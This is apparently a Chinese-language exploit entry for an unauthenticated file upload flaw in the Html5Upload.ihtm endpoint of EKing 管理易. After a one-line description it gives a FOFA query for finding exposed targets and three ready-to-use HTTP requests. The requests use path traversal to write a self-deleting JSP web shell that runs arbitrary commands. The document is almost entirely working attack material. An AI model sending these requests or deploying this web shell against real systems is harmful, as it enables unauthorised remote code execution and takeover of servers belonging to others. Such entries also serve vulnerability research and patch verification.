# eking管理易Html5Upload接口存在任意文件上传漏洞
eking管理易Html5Upload接口存在任意文件上传漏洞，未经身份验证的远程攻击者可利用此漏洞上传任意文件，在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。
## fofa
```yaml
app="EKing-管理易"
```
## poc
创建临时文件
```yaml
POST /Html5Upload.ihtm HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
comm_type=INIT&sign_id=shell&vp_type=default&file_name=../../shell.jsp&file_size=2048
```
写入文件内容
```jinja2
POST /Html5Upload.ihtm HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj7OlOPiiukkdktZR
Connection: close
------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="comm_type"
DATA
------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="sign_id"
shell
------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="data_inde"
0
------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="data"; filename="chunk1"
Content-Type: application/octet-stream
<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("");while((a=in.read(b))!=-1){out.println(new String(b,0,a));}out.print("");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundaryj7OlOPiiukkdktZR--
```
保存文件
```javascript
POST /Html5Upload.ihtm HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
comm_type=END&sign_id=shell&file_name=../../shell.jsp
```
